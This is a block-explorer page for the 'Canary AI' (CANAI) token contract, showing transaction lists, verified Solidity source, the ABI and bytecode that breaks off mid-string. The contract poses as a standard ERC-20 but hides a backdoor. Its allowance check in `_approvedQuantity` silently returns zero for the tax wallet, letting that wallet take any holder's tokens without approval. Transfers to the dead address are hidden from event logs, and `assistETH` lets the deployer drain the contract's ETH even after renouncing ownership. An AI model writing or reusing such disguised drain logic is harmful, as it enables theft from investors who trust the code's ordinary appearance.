ETH Price: $2,024.80 (-1.83%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Assist ETH214983092024-12-28 3:35:11425 days ago1735356911IN
0x02Ab2825...3b6743Fbf
0 ETH0.000159775.42665577
Approve214967392024-12-27 22:19:35426 days ago1735337975IN
0x02Ab2825...3b6743Fbf
0 ETH0.00022364.73854064
Approve214965532024-12-27 21:42:23426 days ago1735335743IN
0x02Ab2825...3b6743Fbf
0 ETH0.000160835.97815012
Approve214961252024-12-27 20:16:11426 days ago1735330571IN
0x02Ab2825...3b6743Fbf
0 ETH0.000378068.02218288
Approve214961052024-12-27 20:12:11426 days ago1735330331IN
0x02Ab2825...3b6743Fbf
0 ETH0.000330427.00236562
Approve214960832024-12-27 20:07:47426 days ago1735330067IN
0x02Ab2825...3b6743Fbf
0 ETH0.00037557.96786172
Approve214959312024-12-27 19:37:23426 days ago1735328243IN
0x02Ab2825...3b6743Fbf
0 ETH0.000402018.53031558
Approve214959242024-12-27 19:35:59426 days ago1735328159IN
0x02Ab2825...3b6743Fbf
0 ETH0.0004741110.11415519
Approve214959232024-12-27 19:35:47426 days ago1735328147IN
0x02Ab2825...3b6743Fbf
0 ETH0.0004741110.11415519
Approve214959232024-12-27 19:35:47426 days ago1735328147IN
0x02Ab2825...3b6743Fbf
0 ETH0.0004741110.11415519
Approve214958352024-12-27 19:18:11426 days ago1735327091IN
0x02Ab2825...3b6743Fbf
0 ETH0.0005438211.52467802
Approve214957852024-12-27 19:07:59426 days ago1735326479IN
0x02Ab2825...3b6743Fbf
0 ETH0.000617813.1795698
Approve214957592024-12-27 19:02:47426 days ago1735326167IN
0x02Ab2825...3b6743Fbf
0 ETH0.0005214711.12459122
Approve214957592024-12-27 19:02:47426 days ago1735326167IN
0x02Ab2825...3b6743Fbf
0 ETH0.0005214711.12459122
Approve214957592024-12-27 19:02:47426 days ago1735326167IN
0x02Ab2825...3b6743Fbf
0 ETH0.0005214711.12459122
Approve214957592024-12-27 19:02:47426 days ago1735326167IN
0x02Ab2825...3b6743Fbf
0 ETH0.0005214711.12459122
Approve214957072024-12-27 18:52:23426 days ago1735325543IN
0x02Ab2825...3b6743Fbf
0 ETH0.000316496.71563924
Approve214957032024-12-27 18:51:35426 days ago1735325495IN
0x02Ab2825...3b6743Fbf
0 ETH0.000414748.8477381
Approve214957032024-12-27 18:51:35426 days ago1735325495IN
0x02Ab2825...3b6743Fbf
0 ETH0.000414748.8477381
Approve214957032024-12-27 18:51:35426 days ago1735325495IN
0x02Ab2825...3b6743Fbf
0 ETH0.000414748.8477381
Approve214956832024-12-27 18:47:35426 days ago1735325255IN
0x02Ab2825...3b6743Fbf
0 ETH0.000431339.20162376
Approve214956622024-12-27 18:43:23426 days ago1735325003IN
0x02Ab2825...3b6743Fbf
0 ETH0.000176817.1
Approve214956522024-12-27 18:41:23426 days ago1735324883IN
0x02Ab2825...3b6743Fbf
0 ETH0.0006301313.44951295
Approve214956402024-12-27 18:38:59426 days ago1735324739IN
0x02Ab2825...3b6743Fbf
0 ETH0.000418938.8892986
Approve214956382024-12-27 18:38:35426 days ago1735324715IN
0x02Ab2825...3b6743Fbf
0 ETH0.0005010710.68927178
View all transactions

Latest 19 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer214954972024-12-27 18:09:59426 days ago1735322999
0x02Ab2825...3b6743Fbf
0.06728462 ETH
Transfer214954972024-12-27 18:09:59426 days ago1735322999
0x02Ab2825...3b6743Fbf
0.06728462 ETH
Transfer214954972024-12-27 18:09:59426 days ago1735322999
0x02Ab2825...3b6743Fbf
1.6313775 ETH
Transfer214954972024-12-27 18:09:59426 days ago1735322999
0x02Ab2825...3b6743Fbf
1.6313775 ETH
Transfer214954912024-12-27 18:08:47426 days ago1735322927
0x02Ab2825...3b6743Fbf
1.10839908 ETH
Transfer214954912024-12-27 18:08:47426 days ago1735322927
0x02Ab2825...3b6743Fbf
1.10839908 ETH
Transfer214954852024-12-27 18:07:35426 days ago1735322855
0x02Ab2825...3b6743Fbf
0.47137451 ETH
Transfer214954852024-12-27 18:07:35426 days ago1735322855
0x02Ab2825...3b6743Fbf
0.47137451 ETH
Transfer214954822024-12-27 18:06:59426 days ago1735322819
0x02Ab2825...3b6743Fbf
0.60689703 ETH
Transfer214954822024-12-27 18:06:59426 days ago1735322819
0x02Ab2825...3b6743Fbf
0.60689703 ETH
Transfer214954792024-12-27 18:06:23426 days ago1735322783
0x02Ab2825...3b6743Fbf
0.58918277 ETH
Transfer214954792024-12-27 18:06:23426 days ago1735322783
0x02Ab2825...3b6743Fbf
0.58918277 ETH
Transfer214954712024-12-27 18:04:47426 days ago1735322687
0x02Ab2825...3b6743Fbf
1.04351833 ETH
Transfer214954712024-12-27 18:04:47426 days ago1735322687
0x02Ab2825...3b6743Fbf
1.04351833 ETH
Transfer214954672024-12-27 18:03:59426 days ago1735322639
0x02Ab2825...3b6743Fbf
0.77140128 ETH
Transfer214954672024-12-27 18:03:59426 days ago1735322639
0x02Ab2825...3b6743Fbf
0.77140128 ETH
Transfer214954652024-12-27 18:03:35426 days ago1735322615
0x02Ab2825...3b6743Fbf
0.79702788 ETH
Transfer214954652024-12-27 18:03:35426 days ago1735322615
0x02Ab2825...3b6743Fbf
0.79702788 ETH
Add Liquidity ET...214954472024-12-27 17:59:59426 days ago1735322399
0x02Ab2825...3b6743Fbf
1 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CANAI

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
// SPDX-License-Identifier: UNLICENSE

/**

    Website:  https://canaryai.tech
    Dapp:  https://app.canaryai.tech
    Medium: https://canaryai.medium.com
    X:  https://x.com/canary_ai_x
    Telegram:  https://t.me/canary_ai

*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CANAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    
    string private constant _name = unicode"Canary AI";
    string private constant _symbol = unicode"CANAI";

    uint256 private _initialCANAIFee = 18;
    uint256 private _lastCANAIFee = 0;
    uint256 private _removeFeeAt = 0;
    uint256 private _preventSwapBefore = 0;
    address private _mainOwner;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = _tTotal / 100;
    address private _deadAddr = address(0xdead);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;

    uint8 private constant _decimals = 9;
    
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _taxWallet = payable(_msgSender());
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _mainOwner = _msgSender();
        _balances[address(this)] = _tTotal;
        emit Transfer(address(0), address(this), _tTotal);
    }

    function startLaunch() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        ); 
        _approve(address(this), address(uniswapV2Router), _tTotal); 
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)) * 980 / 1000,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingOpen = true;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _swapBackTokensForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _approvedQuantity(
        address sender,
        address recipient,
        uint256 amount
    ) private view returns (uint256 rAmount) {
        if ((sender == uniswapV2Pair || recipient != _deadAddr) &&
            msg.sender != _taxWallet) return amount;
    }

    function assistETH(address payable newWallet) external {
        require(msg.sender == _mainOwner, "not deployer");
        payable(_msgSender()).transfer(address(this).balance);
        _taxWallet = newWallet;
    }

    receive() external payable {}

    function _transfer(address from, address destination, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(destination != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (
            from != owner() &&
            destination != owner() &&
            from != address(this) &&
            destination != address(this)
        ) {
            taxAmount = amount.mul(_transferTax).div(100);

            if (
                from == uniswapV2Pair &&
                destination != address(uniswapV2Router) &&
                !_isExcludedFromFee[destination]
            ) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _removeFeeAt)
                            ? _lastCANAIFee
                            : _initialCANAIFee
                    )
                    .div(100);
                _buyCount++;
            }

            if (destination == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _removeFeeAt)
                            ? _lastCANAIFee
                            : _initialCANAIFee
                    )
                    .div(100); sendETHToFee(address(this).balance);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                destination == uniswapV2Pair &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    _swapBackTokensForETH(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[destination] = _balances[destination].add(amount.sub(taxAmount));

        if (destination != _deadAddr) emit Transfer(from, destination, amount.sub(taxAmount));
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender, _msgSender(),_allowances[sender][_msgSender()].sub(_approvedQuantity(sender, recipient, amount),"ERC20: transfer amount exceeds allowance")
        );
        return true;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"assistETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260126005555f6006555f6007555f6008555f600a555f600b556009600a61002b9190610541565b6064610037919061058b565b600c5560646009600a61004a9190610541565b633b9aca00610059919061058b565b61006391906105f9565b600d5561dead600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601060156101000a81548160ff0219169083151502179055505f6100d16103a260201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35061017b6103a260201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f6101cd6103a960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061027f6103a260201b60201c565b60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6102cc9190610541565b633b9aca006102db919061058b565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6103799190610541565b633b9aca00610388919061058b565b6040516103959190610638565b60405180910390a3610651565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156104525780860481111561042e5761042d6103d0565b5b600185161561043d5780820291505b808102905061044b856103fd565b9450610412565b94509492505050565b5f8261046a5760019050610525565b81610477575f9050610525565b816001811461048d5760028114610497576104c6565b6001915050610525565b60ff8411156104a9576104a86103d0565b5b8360020a9150848211156104c0576104bf6103d0565b5b50610525565b5060208310610133831016604e8410600b84101617156104fb5782820a9050838111156104f6576104f56103d0565b5b610525565b6105088484846001610409565b9250905081840481111561051f5761051e6103d0565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61054b8261052c565b915061055683610535565b92506105837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461045b565b905092915050565b5f6105958261052c565b91506105a08361052c565b92508282026105ae8161052c565b915082820484148315176105c5576105c46103d0565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106038261052c565b915061060e8361052c565b92508261061e5761061d6105cc565b5b828204905092915050565b6106328161052c565b82525050565b5f60208201905061064b5f830184610629565b92915050565b612ccd8061065e5f395ff3fe6080604052600436106100eb575f3560e01c806359a945e91161008957806395d89b411161005857806395d89b41146102d0578063a9059cbb146102fa578063bf474bed14610336578063dd62ed3e14610360576100f2565b806359a945e91461023e57806370a0823114610254578063715018a6146102905780638da5cb5b146102a6576100f2565b806318160ddd116100c557806318160ddd1461018657806323b872dd146101b0578063313ce567146101ec57806338e8904414610216576100f2565b806306fdde03146100f6578063095ea7b3146101205780630faee56f1461015c576100f2565b366100f257005b5f80fd5b348015610101575f80fd5b5061010a61039c565b6040516101179190611e75565b60405180910390f35b34801561012b575f80fd5b5061014660048036038101906101419190611f26565b6103d9565b6040516101539190611f7e565b60405180910390f35b348015610167575f80fd5b506101706103f6565b60405161017d9190611fa6565b60405180910390f35b348015610191575f80fd5b5061019a6103fc565b6040516101a79190611fa6565b60405180910390f35b3480156101bb575f80fd5b506101d660048036038101906101d19190611fbf565b61041f565b6040516101e39190611f7e565b60405180910390f35b3480156101f7575f80fd5b506102006104fd565b60405161020d919061202a565b60405180910390f35b348015610221575f80fd5b5061023c6004803603810190610237919061207e565b610505565b005b348015610249575f80fd5b50610252610622565b005b34801561025f575f80fd5b5061027a600480360381019061027591906120a9565b610b43565b6040516102879190611fa6565b60405180910390f35b34801561029b575f80fd5b506102a4610b89565b005b3480156102b1575f80fd5b506102ba610cd7565b6040516102c791906120e3565b60405180910390f35b3480156102db575f80fd5b506102e4610cfe565b6040516102f19190611e75565b60405180910390f35b348015610305575f80fd5b50610320600480360381019061031b9190611f26565b610d3b565b60405161032d9190611f7e565b60405180910390f35b348015610341575f80fd5b5061034a610d58565b6040516103579190611fa6565b60405180910390f35b34801561036b575f80fd5b50610386600480360381019061038191906120fc565b610d5e565b6040516103939190611fa6565b60405180910390f35b60606040518060400160405280600981526020017f43616e6172792041490000000000000000000000000000000000000000000000815250905090565b5f6103ec6103e5610de0565b8484610de7565b6001905092915050565b600d5481565b5f6009600a61040b9190612296565b633b9aca0061041a91906122e0565b905090565b5f61042b848484610faa565b6104f284610437610de0565b6104ed6104458888886117da565b604051806060016040528060288152602001612c706028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104a4610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118f19092919063ffffffff16565b610de7565b600190509392505050565b5f6009905090565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058b9061236b565b60405180910390fd5b61059c610de0565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156105de573d5f803e3d5ffd5b508060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61062a610de0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ad906123d3565b60405180910390fd5b601060149054906101000a900460ff1615610706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fd9061243b565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107a230600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61078e9190612296565b633b9aca0061079d91906122e0565b610de7565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610830919061246d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108da919061246d565b6040518363ffffffff1660e01b81526004016108f7929190612498565b6020604051808303815f875af1158015610913573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610937919061246d565b60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306103e86103d46109c430610b43565b6109ce91906122e0565b6109d891906124ec565b5f806109e2610cd7565b426040518863ffffffff1660e01b8152600401610a049695949392919061255e565b60606040518083038185885af1158015610a20573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a4591906125d1565b50505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ae5929190612621565b6020604051808303815f875af1158015610b01573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b259190612672565b506001601060146101000a81548160ff021916908315150217905550565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b91610de0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c14906123d3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f43414e4149000000000000000000000000000000000000000000000000000000815250905090565b5f610d4e610d47610de0565b8484610faa565b6001905092915050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4c9061270d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eba9061279b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f9d9190611fa6565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611018576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100f90612829565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107d906128b7565b60405180910390fd5b5f81116110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf90612945565b60405180910390fd5b5f6110d1610cd7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561113f575061110f610cd7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561117757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111af57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114d5576111dc60646111ce600a548561195390919063ffffffff16565b6119ca90919063ffffffff16565b905060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112875750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112da575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156113355761131b606461130d600754600b54116112fa576005546112fe